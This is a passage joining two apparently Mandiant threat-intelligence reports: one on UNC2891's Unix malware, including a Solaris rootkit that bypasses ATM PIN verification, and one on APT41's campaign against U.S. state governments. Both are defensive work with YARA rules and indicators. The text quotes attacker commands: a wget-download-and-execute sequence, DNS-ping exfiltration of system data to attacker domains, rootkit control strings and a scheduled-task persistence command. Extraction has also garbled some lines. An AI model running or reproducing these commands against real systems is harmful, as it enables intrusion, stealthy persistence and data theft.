but instead relied on RC4 encryption, we have named this STEELHOUND. In addition to functioning as dropper for an embedded payload,
STEELHOUND is also able to encrypt new payloads by encrypting a target binary and writing it to disk along with a copy of itself and an endof-file configuration.
WINGHOOK and WINGCRACK
During these investigations, Mandiant also discovered a family of keylogger malware we have named WINGHOOK and WINGCRACK.
WINGHOOK is a keylogger for Linux and Unix based operating systems. It is packaged as a shared library (SO file) that hooks the read
and fgets functions, which are two common functions used for processing user input. The captured data is stored in an encoded format in
the directory /var/tmp/ with a filename that begins with .zmanDw.
WINGCRACK is a utility that can decode and display the content of files containing encoded keylog data from WINGHOOK. The malware
author appears to refer to these encoded files as 
schwing
 files.
Utilities Observed
Mandiant previously observed UNC1945 use a large amount of different public and private tools during their intrusions, and this was also true
for UNC2891. Mandiant discovered additional utilities that were leveraged by UNC2891:
BINBASH is a simple ELF utility that executes a shell after setting the group ID and user ID to either "root" or specified values. BINBASH
appears to be a compilation of the source code.
WIPERIGHT is an ELF utility that clears specific log entries on Linux and Unix based systems. It can remove entries associated with a
given user in the lastlog, utmp/utmpx, wtmp/wtmpx, and pacct logs. It appears to have originated from available source code, and
possibly a more recent version.
MIGLOGCLEANER is another ELF utility that wipes logs or remove certain strings from logs on Linux and Unix based systems. It is
publicly available on GitHub.
Whilst seemingly uncommon amongst threat actors, UNC2891 frequently used the uuencoding scheme to encode and decode files, such as
malware binaries or files containing output from extensive host enumeration scripts. The actor often leveraged simple Perl wrapper scripts that
performed uuencoding and uudecoding functions.
CAKETAP
CAKETAP is a kernel module rootkit that UNC2891 deployed on key server infrastructure running Oracle Solaris. CAKETAP can hide network
connections, processes, and files. During initialization, it removes itself from the loaded modules list and updates the last_module_id with the
previously loaded module to hide its presence.
A hook is installed into the function ipcl_get_next_conn, as well as several functions in the ip module. This enables CAKETAP to filter out any
connections that match an actor-configured IP address or port (local or remote).
One way to identify CAKETAP running on a Solaris system is to check for the presence of this hook. The following shows an example command
to identify a hooked ipcl_get_next_conn function (Note: The mdb command may require special permissions on the system):
root@solaris:~# echo 'ipcl_get_next_conn::dis -n 0 ; ::quit' | mdb -k
The output in a clean SPARC Solaris system would look similar to the following:
ipcl_get_next_conn: save %sp, -0xb0, %sp
A hooked function would begin with the sethi instruction as follows (the constant 0x11971c00 will change from instance to instance depending
on where CAKETAP is loaded):
ipcl_get_next_conn: sethi %hi(0x11971c00), %g1
Additional hooks are installed into the mkdirat (make directory at) and getdents64 (get directory entries) system calls. CAKETAP uses the
mkdirat hook to receive commands from paths containing the signal string. Commands include configuring network filters, display or update
its configuration, and to unhide itself. The getdents64 hook enables CAKETAP to hide files or directories on the file system containing the
secret signal string. Table 4 contains the signal strings for the CAKETAP hooks.
Secret
Usage
.caahGss187
mkdirat hook signal string
.zaahGss187
getdents64 hook signal string
Table 4: Observed secrets for CAKETAP hooks
The mkdirat hook enabled UNC2891 to control and configure CAKETAP through existing backdoor access to compromised servers by issuing
shell commands that leverage these system calls (e.g. mkdir for mkdirat). A single character appended to the signal string indicated which
command was to be executed. The following commands were observed:
Command
Function
Empty
Add the CAKETAP module back to loaded modules list
Change the signal string for the getdents64 hook
Add a network filter (format <IP>p<PORT>)
Remove a network filter
Set the current thread TTY to not be filtered by the getdents64 hook
Set all TTYs to be filtered by the getdents64 hook
Displays the current configuration
Table 5: Observed CAKETAP commands
For example, to configure a new network filter and display the current configuration, the following commands might be used:
mkdir /some/path/.caahGss187I192.168.1.10p80 - Add network filter for 192.168.1.10:80
mkdir /some/path/.caahGss187S - Display current configuration
The hook installed into getdents64 filtered output to hide presence of the signal string in directory contents.
Mandiant observed UNC2891 load CAKETAP with the module name ipstat from attacker created directories that often resided somewhere
inside the /var directory tree.
CAKETAP Unauthorized Transactions
Memory forensics from one victim
s ATM switch server revealed a variant of CAKETAP with additional network hooking functionality that
intercepted specific messages relating to card and pin verification. Evidence suggests that this variant of CAKETAP was used as part of an
operation to perform unauthorized transactions using fraudulent bank cards.
This CAKETAP variant targeted specific messages destined for the Payment Hardware Security Module (HSM). This additional network
hooking performed several functions:
1. Manipulation of card verification messages:
CAKETAP altered the mode of certain outgoing messages to disable card verification. This resulted in the HSM not performing the proper
card verification and instead generating a valid response. Fraudulent bank cards generated verification messages using a custom
algorithm using the Primary Account Number (PAN) and other parameters which served as a 
marker
 for CAKETAP. CAKETAP
examined outgoing messages and if it matched the algorithm, CAKETAP identified the card as fraudulent and stored the PAN in memory
to use in the following step.
2. Replay of PIN verification messages:
CAKETAP examined outgoing PIN verification messages that matched certain conditions and identified those with a Primary Account
Number (PAN) that reflected a fraudulent card. If the message was not for a fraudulent card, it would save the message internally and
send it unmodified, as to not interrupt legitimate ATM PIN verifications. However, if it was for a fraudulent card, CAKETAP would
instead replace the message content with data from a previously saved message. This was effectively a replay attack that resulted in a
bypass of PIN verification for fraudulent cards.
Based on Mandiant
s investigation findings, we believe that CAKETAP was leveraged by UNC2891 as part of a larger operation to successfully
use fraudulent bank cards to perform unauthorized cash withdrawals from ATM terminals at several banks.
Conclusion
UNC2891 maintains a high level of OPSEC and employs several techniques to evade detection. The actor uses their skill and experience to take
full advantage of the decreased visibility and security measures that are often present in Unix and Linux environments. Mandiant expects that
UNC2891 will continue to capitalize on this and perform similar operations for financial gain that target mission critical systems running these
operating systems.
While some of the overlaps between UNC2891 and UNC1945 are notable, it is not conclusive enough to attribute the intrusions to a single
threat group. For example, it is possible that significant portions of UNC2891 and UNC1945 activity are carried out by an entity that is a
common resource to multiple threat actors, which could explain the perceived difference in intrusion objectives
a common malware developer
or an intrusion partner, for example. Regardless, Mandiant is releasing this information on the actor to raise awareness of the fraudulent
activity and aid defenders in uncovering further UNC2891 operations.
YARA
The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through
an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are
intended to serve as a starting point for hunting efforts to identify samples, however, they may need adjustment over time if the malware family
changes.
rule TINYSHELL
meta:
author = "Mandiant "
strings:
$sb1 = { C6 00 48 C6 4? ?? 49 C6 4? ?? 49 C6 4? ?? 4C C6 4? ?? 53 C6 4? ?? 45 C6 4? ?? 54 C6 4? ?? 3D C6
4? ?? 46 C6 4? ?? 00 }
$sb2 = { C6 00 54 C6 4? ?? 4D C6 4? ?? 45 C6 4? ?? 3D C6 4? ?? 52 }
$ss1 = "fork" ascii fullword wide
$ss2 = "socket" ascii fullword wide
$ss3 = "bind" ascii fullword wide
$ss4 = "listen" ascii fullword wide
$ss5 = "accept" ascii fullword wide
$ss6 = "alarm" ascii fullword wide
$ss7 = "shutdown" ascii fullword wide
$ss8 = "creat" ascii fullword wide
$ss9 = "write" ascii fullword wide
$ss10 = "open" ascii fullword wide
$ss11 = "read" ascii fullword wide
$ss12 = "execl" ascii fullword wide
$ss13 = "gethostbyname" ascii fullword wide
$ss14 = "connect" ascii fullword wide
condition:
uint32(0) == 0x464c457f and 1 of ($sb*) and 10 of ($ss*)
rule TINYSHELL_SPARC
meta:
author = "Mandiant"
strings:
$sb_xor_1 = { DA 0A 80 0C 82 18 40 0D C2 2A 00 0B 96 02 E0 01 98 03 20 01 82 1B 20 04 80 A0 00 01 82 60 20
00 98 0B 00 01 C2 4A 00 0B 80 A0 60 00 32 BF FF F5 C2 0A 00 0B 81 C3 E0 08 }
$sb_xor_2 = { C6 4A 00 00 80 A0 E0 00 02 40 00 0B C8 0A 00 00 85 38 60 00 C4 09 40 02 84 18 80 04 C4 2A 00
00 82 00 60 01 80 A0 60 04 83 64 60 00 10 6F FF F5 90 02 20 01 81 C3 E0 08 }
condition:
of them
uint32(0) == 0x464C457F and (uint16(0x10) & 0x0200 == 0x0200) and (uint16(0x12) & 0x0200 == 0x0200) and 1
rule SLAPSTICK
meta:
author = "Mandiant "
strings:
$ss1 = "%Y %b %d %H:%M:%S
\x00"
$ss2 = "%-23s %-23s %-23s\x00"
$ss3 = "%-23s %-23s %-23s %-23s %-23s %s\x0a\x00"
condition:
(uint32(0) == 0x464c457f) and all of them
rule STEELCORGI
meta:
author = "Mandiant "
strings:
$s1 = "\x00\xff/\xffp\xffr\xffo\xffc\xff/\xffs\xffe\xffl\xfff\xff/\xffe\xffx\xffe\x00"
$s2 =
"\x00\xff/\xffv\xffa\xffr\xff/\xffl\xffi\xffb\xff/\xffd\xffb\xffu\xffs\xff/\xffm\xffa\xffc\xffh\xffi\xffn\xffe\xff\xffi\xffd\x00"
$sb1 = { FE 1B 7A DE 23 D1 E9 A1 1D 7F 9E C1 FD A4 }
$sb2 = { 3B 8D 4F 45 7C 4F 6A 6C D8 2F 1F B2 19 C4 45 6A 6A }
condition:
(uint32(0) == 0x464c457f) and all of them
Indicators of Compromise
Malware
Family
SHA1
SHA256
STEELCORGI
e5791e4d2b479ff1dfee983ca6221a53
e55514b83135c5804786fa6056c88988ea70e360
95964d669250f0ed161409b93f
STEELCORGI
0845835e18a3ed4057498250d30a11b1
c28366c3f29226cb2677d391d41e83f9c690caf7
7d587a5f6f36a74dcfbcbaecb2
STEELCORGI
d985de52b69b60aa08893185029bcb31
a3e75e2f700e449ebb62962b28b7c230790dc25d
cd06246aff527263e409dd779b
TINYSHELL
4ff6647c44b0417c80974b806b1fbcc3
fa36f10407ed5a6858bd1475d88dd35927492f52
55397addbea8e5efb8e6493f3b
TINYSHELL
13f6601567523e6a37f131ef2ac4390b
4228d71c042d08840089895bfa6bd594b5299a89
24f459a2752175449939037d6a
TINYSHELL
4e9967558cd042cac8b12f378db14259
018bfe5b9f34108424dd63365a14ab005e249fdd
5f46a25473b9dda834519093c6
STEELHOUND
a4617c9a4bde94e867f063c28d763766
097d3a15510c48cdb738344bdf00082e546827e8
161a2832baba6ff6f9f1b52ed8
MITRE ATT&CK
Discovery:
T1016:System Network Configuration Discovery
T1018:Remote System Discovery
T1049:System Network Connections Discovery
T1082:System Information Discovery
T1083:File and Directory Discovery
T1135:Network Share Discovery
Lateral Movement:
T1021:Remote Services
T1021.004:SSH
Credential Access:
T1003:OS Credential Dumping
T1003.008:/etc/passwd and /etc/shadow
T1110:Brute Force
T1110.001:Password Guessing
T1552:Unsecured Credentials
T1552.003:Bash History
T1552.004:Private Keys
T1556.003:Pluggable Authentication Modules
Command and Control:
T1090:Proxy
T1095:Non-Application Layer Protocol
T1105:Ingress Tool Transfer
T1572:Protocol Tunneling
T1573.001:Symmetric Cryptography
Execution:
T1053.001:At (Linux)
T1059:Command and Scripting Interpreter
T1059.004:Unix Shell
Collection:
T1056.001:Keylogging
T1560:Archive Collected Data
T1560.001:Archive via Utility
T1560.002:Archive via Library
Defense Evasion:
T1014:Rootkit
T1027:Obfuscated Files or Information
T1070:Indicator Removal on Host
T1070.002:Clear Linux or Mac System Logs
T1070.004:File Deletion
T1070.006:Timestomp
T1140:Deobfuscate/Decode Files or Information
T1480.001:Environmental Keying
T1548.001:Setuid and Setgid
T1620:Reflective Code Loading
Persistence:
T1543.002:Systemd Service
T1547.006:Kernel Modules and Extensions
Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments
mandiant.com/resources/apt41-us-state-governments
UPDATE (Mar. 8): The original post may not have provided full clarity that CVE-2021-44207 (USAHerds) had a patch developed by Acclaim
Systems for applicable deployments on or around Nov. 15, 2021. Mandiant cannot speak to the affected builds, deployment, adoption, or
other technical factors of this vulnerability patch beyond its availability.
In May 2021 Mandiant responded to an APT41 intrusion targeting a United States state government computer network. This was just the
beginning of Mandiant
s insight into a persistent months-long campaign conducted by APT41 using vulnerable Internet facing web applications
as their initial foothold into networks of interest. APT41 is a prolific Chinese state-sponsored espionage group known to target organizations in
both the public and private sectors and also conducts financially motivated activity for personal gain.
In this blog post, we detail APT41
s persistent effort that allowed them to successfully compromise at least six U.S. state government networks
by exploiting vulnerable Internet facing web applications, including using a zero-day vulnerability in the USAHerds application (CVE-202144207) as well as the now infamous zero-day in Log4j (CVE-2021-44228). While the overall goals of APT41's campaign remain unknown, our
investigations into each of these intrusions has revealed a variety of new techniques, malware variants, evasion methods, and capabilities.
Campaign Overview
Although APT41 has historically performed mass scanning and exploitation of vulnerabilities, our investigations into APT41 activity between
May 2021 and February 2022 uncovered evidence of a deliberate campaign targeting U.S. state governments. During this timeframe, APT41
successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications,
often written in ASP.NET. In most of the web application compromises, APT41 conducted .NET deserialization attacks; however, we have also
observed APT41 exploiting SQL injection and directory traversal vulnerabilities.
In the instance where APT41 gained access through a SQL injection vulnerability in a proprietary web application, Mandiant Managed Defense
quickly detected and contained the activity; however, two weeks later APT41 re-compromised the network by exploiting a previously unknown
zero-day vulnerability in a commercial-off-the-shelf (CoTS) application, USAHerds. In two other instances, Mandiant began an investigation at
one state agency only to find that APT41 had also compromised a separate, unrelated agency in the same state.
APT41 was also quick to adapt and use publicly disclosed vulnerabilities to gain initial access into target networks, while also maintaining
existing operations. On December 10th, 2021, the Apache Foundation released an advisory for a critical remote code execution (RCE)
vulnerability in the commonly used logging framework Log4J. Within hours of the advisory, APT41 began exploiting the vulnerability to later
compromise at least two U.S. state governments as well as their more traditional targets in the insurance and telecommunications industries.
In late February 2022, APT41 re-compromised two previous U.S. state government victims. Our ongoing investigations show the activity
closely aligns with APT41's May-December 2021 activity, representing a continuation of their campaign into 2022 and demonstrating their
unceasing desire to access state government networks. A timeline of representative intrusions from this campaign can be seen in Figure 1.
Figure 1: U.S. state government campaign timeline
The goals of this campaign are currently unknown, though Mandiant has observed evidence of APT41 exfiltrating Personal Identifiable
Information (PII). Although the victimology and targeting of PII data is consistent with an espionage operation, Mandiant cannot make a
definitive assessment at this time given APT41
s history of moonlighting for personal financial gain.
Exploitation of Deserialization Vulnerabilities
APT41 has primarily used malicious ViewStates to trigger code execution against targeted web applications. Within the ASP.NET framework,
ViewState is a method for storing the application
s page and control values in HTTP requests to and from the server. The ViewState is sent to
the server with each HTTP request as a Base64 encoded string in a hidden form field. The web server decodes the string and applies additional
transformations to the string so that it can be unpacked into data structures the server can use. This process is known as deserialization.
Insecure deserialization of user-supplied input can result in code execution. ASP.NET has several insecure deserialization providers, including
the one used for ViewStates: ObjectStateFormatter. To prevent a threat actor from manipulating the ViewState and taking advantage of the
insecure deserialization provider, the ViewState is protected by a Message Authentication Code (MAC). This MAC is a cryptographically signed
hash value that the server uses to ensure that the ViewState has not been tampered with, possibly to trigger code execution. The integrity of the
ViewState depends on the application
s machineKey remaining confidential. The machineKey is stored on the application server in a
configuration file named web.config.
<machineKey validationKey="XXXXXXXXXXXXXXXXX" decryptionKey="XXXXXXXXXXXXXXXXXXXXXX" validation="SHA1" />
Figure 2 Sample machineKey attribute from a web.config file
A threat actor with knowledge of the machineKey can construct a malicious ViewState and then generate a new and valid MAC that the server
accepts. With a valid MAC, the server will then deserialize the malicious ViewState, resulting in the execution of code on the server. Publicly
available tools such as YSoSerial.NET exist to construct these malicious ViewStates. This is precisely how APT41 initiated their campaign in
May 2021.
Proprietary Web Application Targeting
In June 2020, one year before APT41 began this campaign, Mandiant investigated an incident where APT41 exploited a directory traversal
vulnerability specifically to read the web.config file for a vulnerable web application on a victim web server. APT41 then used the machineKey
values from the web.config file to generate a malicious ViewState payload for a deserialization exploit. Mandiant did not identify how APT41
originally obtained the machineKey values for the proprietary application exploited in May 2021 or the USAHerds application, which was first
exploited in July 2021. However, it is likely that APT41 obtained the web.config file through similar means.
To craft malicious ViewStates, APT41 relied on the publicly available Github project YSoSerial.NET. In order to successfully load arbitrary
.NET assemblies into memory, APT41 set the DisableActivitySurrogateSelectorTypeCheck property flag to true within the
ConfigurationManager.AppSettings class of the running application via the ViewState payload. APT41 subsequently loaded .NET assemblies
into memory using additional YSoSerial payloads configured to write webshells to a hardcoded filepath on disk.
Figure 3: Deserialized .NET Assembly (dnSpy)
Figure 4 shows an example JScript webshell deployed through a malicious ViewState object by APT41 which utilizes Code Page 936 for the
Chinese Simplified keyboard language.
Figure 4: Deserialized JScript Webshell
For additional information regarding deserialization exploits and our new hunting rule generation tool 
HeySerial
, read our blog post, Now
You Serial, Now You Don
 Systematically Hunting for Deserialization Exploits.
USAHerds (CVE-2021-44207) Zero-Day
In three investigations from 2021, APT41 exploited a zero-day vulnerability in the USAHerds web application. USAHerds is a CoTS application
written in ASP.NET and used by 18 states for animal health management. The vulnerability in USAHerds (CVE-2021-44207) is similar to a
previously reported vulnerability in Microsoft Exchange Server (CVE-2020-0688), where the applications used a static validationKey and
decryptionKey (collectively known as the machineKey) by default. As a result, all installations of USAHerds shared these values, which is
against the best practice of using uniquely generated machineKey values per application instance.
Generating unique machineKey values is critical to the security of an ASP.NET web application because the values are used to secure the
integrity of the ViewState.
Mandiant did not identify how APT41 originally obtained the machineKey values for USAHerds; however, once APT41 obtained the
machineKey, they were able to compromise any server on the Internet running USAHerds. As a result, there are potentially additional
unknown victims.
Log4j (CVE-2021-44228)
The most recent APT41 campaign began shortly after the release of CVE-2021-44228 and its related proof-of-concept exploits in December
2021. Exploiting this vulnerability, also known as Log4Shell, causes Java to fetch and deserialize a remote Java object, resulting in potential
code execution. Similar to their previous web application targeting, APT41 continued to use YSoSerial generated deserialization payloads to
perform reconnaissance and deploy backdoors. Notably, APT41 deployed a new variant of the KEYPLUG backdoor on Linux servers at multiple
victims, a malware sub-family we now track as KEYPLUG.LINUX. KEYPLUG is a modular backdoor written in C++ that supports multiple
network protocols for command and control (C2) traffic including HTTP, TCP, KCP over UDP, and WSS. APT41 heavily used the Windows
version of the KEYPLUG backdoor at state government victims between June 2021 and December 2021, thus the deployment of a ported
version of the backdoor closely following the state government campaign was significant.
After exploiting Log4Shell, APT41 continued to use deserialization payloads to issue ping commands to domains, a technique APT41 frequently
used at government victims months prior. An example ping command is shown in Figure 5.
ping -c 1 libxqagv[.]ns[.]dns3[.]cf
Figure 5: Ping Command to Attacker Controlled Infrastructure
Upon gaining access to a target environment, APT41 performed host and network reconnaissance before deploying KEYPLUG.LINUX to
establish a foothold in the environment. Sample commands used to deploy KEYPLUG.LINUX can be seen in Figure 6.
wget http://103.224.80[.]44:8080/kernel
chmod 777 kernel
mv kernel .kernel
nohup ./.kernel &
Figure 6: Deployment of KEYPLUG.LINUX Following Log4j Exploitation
All Killer No Filler
 Intrusion TTPs
The updated tradecraft and new malware continue to show APT41 is a highly adaptable and resourceful actor. In this section, we detail the
most pertinent post-compromise techniques.
Reconnaissance
After gaining initial access to an internet-facing server, APT41 performed extensive reconnaissance and credential harvesting. A common tactic
seen is the deployment of a ConfuserEx obfuscated BADPOTATO binary to abuse named pipe impersonation for local NT
AUTHORITY\SYSTEM privilege escalation. Once APT41 escalated to NT AUTHORITY\SYSTEM privileges, they copied the local SAM and
SYSTEM registry hives to a staging directory for credential harvesting and exfiltration. APT41 has additionally used Mimikatz to execute the
lsadump::sam command on the dumped registry hives to obtain locally stored credentials and NTLM hashes.
APT41 also conducted Active Directory reconnaissance by uploading the Windows command-line tool dsquery.exe (MD5:
49f1daea8a115dd6fce51a1328d863cf) and its associated module dsquery.dll (MD5: b108b28138b93ec4822e165b82e41c7a) to a staging
directory on the compromised server. Figure 7 shows multiple dsquery commands used to enumerate various Active Directory objects within
the environment.
c:\programdata\dsquery.exe * -filter "(objectCategory=Person)" -attr cn title displayName description department
company sAMAccountName mail mobile telephoneNumber whenCreated whenChanged logonCount badPwdCount distinguishedName
-L -limit 0
c:\programdata\dsquery.exe * -filter "(objectCategory=Computer)" -attr cn operatingSystem
operatingSystemServicePack operatingSystemVersion dNSHostName whenCreated whenChanged lastLogonTimestamp
distinguishedName description managedBy mS-DS-CreatorSID -limit 0
c:\programdata\dsquery.exe * -filter "(objectCategory=Computer)" -attr cnservicePrincipalName -L -limit 0
c:\programdata\dsquery.exe * -filter "(objectCategory=Group)" -uc -attr cn sAMAccountName distinguishedName
description -limit 0
c:\programdata\dsquery.exe * -filter "(objectClass=organizationalUnit)" -attr ou name whenCreated
distinguishedName gPLink -limit 0
Figure 7: dsquery Active Directory Reconnaissance Commands
During the early stage of one U.S. state government intrusion, Mandiant identified a new malware family used by APT41 we track as
DUSTPAN. DUSTPAN is an in-memory dropper written in C++ that leverages ChaCha20 to decrypt embedded payloads. Different variations
of DUSTPAN may also load and execute a payload from a hard-coded filepath encrypted in the binary. DUSTPAN is consistent with the
publicly named StealthVector, reported by Trend Micro in August 2021. During the intrusion, DUSTPAN was used to drop a Cobalt Strike
BEACON backdoor.
Anti-Analysis
APT41 continues to leverage advanced malware in their existing toolkit, such as the DEADEYE launcher and LOWKEY backdoor, with added
capabilities and anti-analysis techniques to hinder investigations. During a recent intrusion Mandiant identified a new malware variant,
DEADEYE.EMBED, contained in an Alternate Data Stream of a local file. DEADEYE.EMBED variants embed the payload inside of the
compiled binary rather than appended to the overlay at the end of the file, as seen in DEADEYE.APPEND.
APT41 commonly packages their malware with VMProtect to slow reverse engineering efforts. During multiple U.S. state government
intrusions, APT41 incorporated another anti-analysis technique by chunking a VMProtect packaged DEADEYE binary into multiple sections on
disk. Breaking the binary into multiple files reduces the chance that all samples can be successfully acquired during a forensic investigation.
Common file naming conventions used by APT41 when deploying DEADEYE on victim hosts can be seen in Figure 8.
Figure 8: DEADEYE Filenames
These files would then be combined into a single DLL before execution as seen in Figure 9.
"cmd" /c copy /y /b C:\Users\public\syslog_6-*.dat C:\Users\public\syslog.dll
Figure 9: DEADEYE Command to concatenate DEADEYE sections
In addition to separating their VMProtect packaged malware on disk, APT41 changed the standard VMProtect section names (.vmp) to UPX
section names (.upx). By doing so, the malware could evade basic hunting detections that flag binaries packaged with VMProtect. During Log4j
exploitation, APT41 similarly chunked a KEYPLUG.LINUX binary into four separate files named 
 xab
 xac
, and 
. APT41 also
packaged the KEYPLUG.LINUX binary with VMProtect and used UPX section names. This technique is very low in prevalence across our
malware repository, and even lower in prevalence when searching across ELF files.
APT41 also updated the DEADEYE execution guardrail capabilities used during the campaign. Guardrailing is a technique used by malware to
ensure that the binary only executes on systems that the threat actor intended. DEADEYE samples from older campaigns used the victim
computer
s volume serial number but they have since been updated to use the hostname and/or DNS domain during the U.S. state government
campaign. To acquire the local computer
s hostname and DNS domain, DEADEYE executes the WinAPI functions GetComputerNameA and/or
GetComputerNameExA and provides it as input for a generated decryption key.
Persistence
APT41 continues to leverage advanced tradecraft to remain persistent and undetected. In multiple instances, the Windows version of the
KEYPLUG backdoor leveraged dead drop resolvers on two separate tech community forums. The malware fetches its true C2 address from
encoded data on a specific forum post. Notably, APT41 continues to update the community forum posts frequently with new dead drop
resolvers during the campaign. APT41 has historically used this unique tradecraft during other intrusions to help keep their C2 infrastructure
hidden.
To persist execution of DEADEYE, APT41 has leveraged the schtasks /change command to modify existing scheduled tasks that run under the
context of SYSTEM. APT41 commonly uses the living off the land binary (lolbin) shell32.dll!ShellExec_RunDLLA in scheduled tasks for binary
execution, such as the example shown in Figure 10.
SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR
"C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z
c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE
Figure 10: Modified Scheduled Task
APT41 has leveraged the following Windows scheduled tasks for persistence of DEADEYE droppers in U.S. state government intrusions:
\Microsoft\Windows\PLA\Server Manager Performance Monitor
\Microsoft\Windows\Ras\ManagerMobility
\Microsoft\Windows\WDI\SrvSetupResults
\Microsoft\Windows\WDI\USOShared
Another technique APT41 used to launch malware is through the addition of a malicious import to the Import Address Table (IAT) of legitimate
Windows PE binaries. As a result, once the legitimate binary is executed, it will load the malicious library and call its DllEntryPoint. A modified
IAT of a legitimate Microsoft HealthService.exe binary can be seen in Figure 11.
Figure 11: Modified IAT (CFF Explorer)
APT41 continues to tailor their malware to victim environments through their stealthy passive backdoor LOWKEY.PASSIVE. During one
intrusion, APT41 exploited a USAHerds server and subsequently executed DEADEYE.APPEND which dropped LOWKEY.PASSIVE in-memory.
The identified LOWKEY.PASSIVE sample listened for incoming connections that request either of the following URL endpoints:
http://<HOST:PORT>/USAHerds/Common/%s.css
https://<HOST:PORT>/USAHerds/Common/%s.css
APT41 frequently configured LOWKEY.PASSIVE URL endpoints to masquerade as normal web application traffic on an infected server.
s Always Cloudy in Chengdu
 Cloudflare Usage
APT41 has substantially increased their usage of Cloudflare services for C2 communications and data exfiltration. Specifically, APT41 leveraged
Cloudflare Workers to deploy serverless code accessible through the Cloudflare CDN which helps proxy C2 traffic to APT41 operated
infrastructure.
At multiple victims, APT41 issued ping commands where the output of a reconnaissance command was prepended to subdomains of Cloudflare
proxied infrastructure. Once the ping command was executed, the local DNS resolver attempted to resolve the fabricated domain containing
the prepended command output. The forward DNS lookup eventually reached the primary domain's Cloudflare name servers, which were
unable to resolve an IP address for the fabricated domain. However, the DNS activity logs of the attacker-controlled domain recorded the DNS
lookup of the subdomain, allowing the group to collect the reconnaissance command output.
Examples of this technique can be seen in Figure 12 to Figure 15.
$a=whoami;ping ([System.BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($a)).replace('-','')+""
[.]ns[.]time12[.]cf"")
Figure 12: Reconnaissance Exfiltration
cmd.exe /c ping %userdomain%[.]ns[.]time12[.]cf
Figure 13: Reconnaissance Exfiltration
In Figure 14, APT41 issued a command to find the volume serial number of the system, which has historically been used as the decryption key
for DEADEYE payloads.
ping -n 1 ((cmd /c dir c:\|findstr Number).split()[-1]+'.ns[.]time12[.]cf
Figure 14: Volume Serial Number Exfiltration
In this last example, the command prints the length of the file syslog_6-1.dat, likely to ensure it has been fully written to disk prior to
combining the multiple files into the full malicious executable.
ping -n 1 ((ls C:\Users\public\syslog_6-1.dat).Length.ToString()+"".ns[.]time12[.]cf"")
Figure 15: File Size Exfiltration
APT41 leveraged the aforementioned technique for further data exfiltration by hex encoding PII data and prepending the results as
subdomains of the attacker-controlled domain. The resulting DNS lookups triggered by the ping commands would be recorded in the activity
logs and available to APT41.
APT41
s continued usage of Cloudflare services is further exemplified in recently developed KEYPLUG samples. Mandiant identified a unique
capability added to KEYPLUG that leverages the WebSocket over TLS (WSS) protocol for C2 communication. According to Cloudflare,
WebSocket traffic can be established through the Cloudflare CDN edge servers, which will proxy data through to the specified origin server.
KEYPLUG includes a hardcoded one-byte XOR encoded configuration file that lists the specific communication protocol, servers, and
additional settings. After KEYPLUG decodes the hardcoded configuration file at runtime, it will parse the configuration to determine the
appropriate network protocol and servers to use for command and control. After the configuration is parsed, KEYPLUG randomly chooses a
CIDR block from the list then randomly chooses an IP address within the CIDR block based on the current tick count of the infected computer.
Figure 16 details an example configuration file identified during a recent U.S. state government intrusion.
WSS://104.24.0.0/14;103.22.200.0/22;103.21.244.0/22:443|7600|5|1|afdentry.workstation.eu.org:443
Figure 16: KEYPLUG Configuration
The CIDR blocks listed in Figure 16 are Cloudflare CDN associated infrastructure that will redirect the WSS connection to the malicious
domain afdentry[.]workstation[.]eu[.]org.
Figure 17 is an example HTTP request sent by KEYPLUG to initiate and upgrade to the WSS protocol using Cloudflare infrastructure.
Figure 17: KEYPLUG HTTP Upgrade Request
We notified Cloudflare of this malicious activity and they took prompt action to disrupt communications to the malicious infrastructure.
APT41
s increased usage of Cloudflare services indicates a desire to leverage Cloudflare
s flexibility and deter identification and blocking of
their true C2 servers.
Outlook
APT41's recent activity against U.S. state governments consists of significant new capabilities, from new attack vectors to post-compromise
tools and techniques. APT41 can quickly adapt their initial access techniques by re-compromising an environment through a different vector,
or by rapidly operationalizing a fresh vulnerability. The group also demonstrates a willingness to retool and deploy capabilities through new
attack vectors as opposed to holding onto them for future use. APT41 exploiting Log4J in close proximity to the USAHerds campaign showed
the group
s flexibility to continue targeting U.S state governments through both cultivated and co-opted attack vectors. Through all the new,
some things remain unchanged: APT41 continues to be undeterred by the U.S. Department of Justice (DOJ) indictment in September 2020.
Indicators
Malware Family
SHA1
SHA256
KEYPLUG.LINUX
900ca3ee85dfc109baeed4888ccb5d39
355b3ff61db44d18003537be8496eb03536e300f
e024ccc4c72eb5813cc2b6db7
KEYPLUG.LINUX
b82456963d04f44e83442b6393face47
996aa691bbc1250b571a2f5423a5d5e2da8317e6
d7e8cc6c19ceebf0e125c9f18b
DSQUERY
49f1daea8a115dd6fce51a1328d863cf
e85427af661fe5e853c8c9398dc46ddde50e2241
ebf28e56ae5873102b51da2cc
DSQUERY
b108b28138b93ec4822e165b82e41c7a
7056b044f97e3e349e3e0183311bb44b0bc3464f
062a7399100454c7a523a9382
BADPOTATO
143278845a3f5276a1dd5860e7488313
6f6b51e6c88e5252a2a117ca1cfb57934930166b
a4647fcb35c79f26354c34452e
Context
Indicator(s)
U.S. State Government Campaign 
 USAHerds (CVE-2021-44207) Exploitation
194[.]195[.]125[.]121
194[.]156[.]98[.]12
54[.]248[.]110[.]45
45[.]153[.]231[.]31
185[.]118[.]167[.]40
104[.]18[.]6[.]251
104[.]18[.]7[.]251
20[.]121[.]42[.]11
34[.]139[.]13[.]46
54[.]80[.]67[.]241
149[.]28[.]15[.]152
18[.]118[.]56[.]237
107[.]172[.]210[.]69
172[.]104[.]206[.]48
67[.]205[.]132[.]162
45[.]84[.]1[.]181
cdn[.]ns[.]time12[.]cf
east[.]winsproxy[.]com
afdentry[.]workstation[.]eu[.]org
ns1[.]entrydns[.]eu[.]org
subnet[.]milli-seconds[.]com
work[.]viewdns[.]ml
work[.]queryip[.]cf
Log4j (CVE-2021-44228) Exploitation
103[.]238[.]225[.]37
182[.]239[.]92[.]31
microsoftfile[.]com
down-flash[.]com
libxqagv[.]ns[.]dns3[.]cf
Detections
rule M_APT_Backdoor_KEYPLUG_MultiXOR_Config
meta:
author = "Mandiant"
description = "Matches KEYPLUG XOR-encoded configurations. Locates multiple values of: TCP://, UDP://,
